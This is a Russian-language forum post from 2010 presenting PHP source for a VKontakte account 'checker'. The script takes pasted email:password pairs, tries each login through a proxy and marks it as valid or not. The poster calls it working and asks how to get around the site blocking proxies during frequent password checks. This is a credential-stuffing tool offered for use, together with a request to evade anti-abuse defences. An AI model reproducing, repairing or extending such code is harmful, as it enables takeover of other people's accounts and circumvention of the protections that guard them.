Показать сообщение отдельно

  #4  
Старый 19.03.2010, 04:04
SkyLine32
Участник форума
Регистрация: 01.03.2009
Сообщений: 121
С нами: 9050197

Репутация: 38
По умолчанию

PHP код:
<form method="post" />
<textarea cols="80" rows="18" name="akki-list">
</textarea>
<br />
<input type="submit" value=" Send " />
</form> 
<?php
if(isset($_POST['akki-list'])) {

function 
curl($url,$post)
{
$cfile = 'cheker-cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6"); 
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);

$proxy="ip:port";

curl_setopt($ch, CURLOPT_PROXY, $proxy); 
curl_setopt($ch, CURLOPT_POSTFIELDS, $post); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); 
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return 
$result;
};

foreach(
explode("\n",$_POST['akki-list']) as $line)
{

$pos = strpos($line, ':');
$email = substr($line, 0, $pos);
$pos2 = strpos($line, ':');
$pass = substr($line, $pos2);
$pass = @ereg_replace(":", "", $pass);

$result = curl('http://vkontakte.ru/','');

if(
strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
{ 
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (
preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo 
"$email:$pass - ok<br />";
else
echo 
"$email:$pass - bad<br />";
unlink('cheker-cookies.txt');
}
}
?>
Ну вот в принципе рабочий чекер на php. Но только работает странно. Раз работает, другой раз не работает... Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?
 
Ответить с цитированием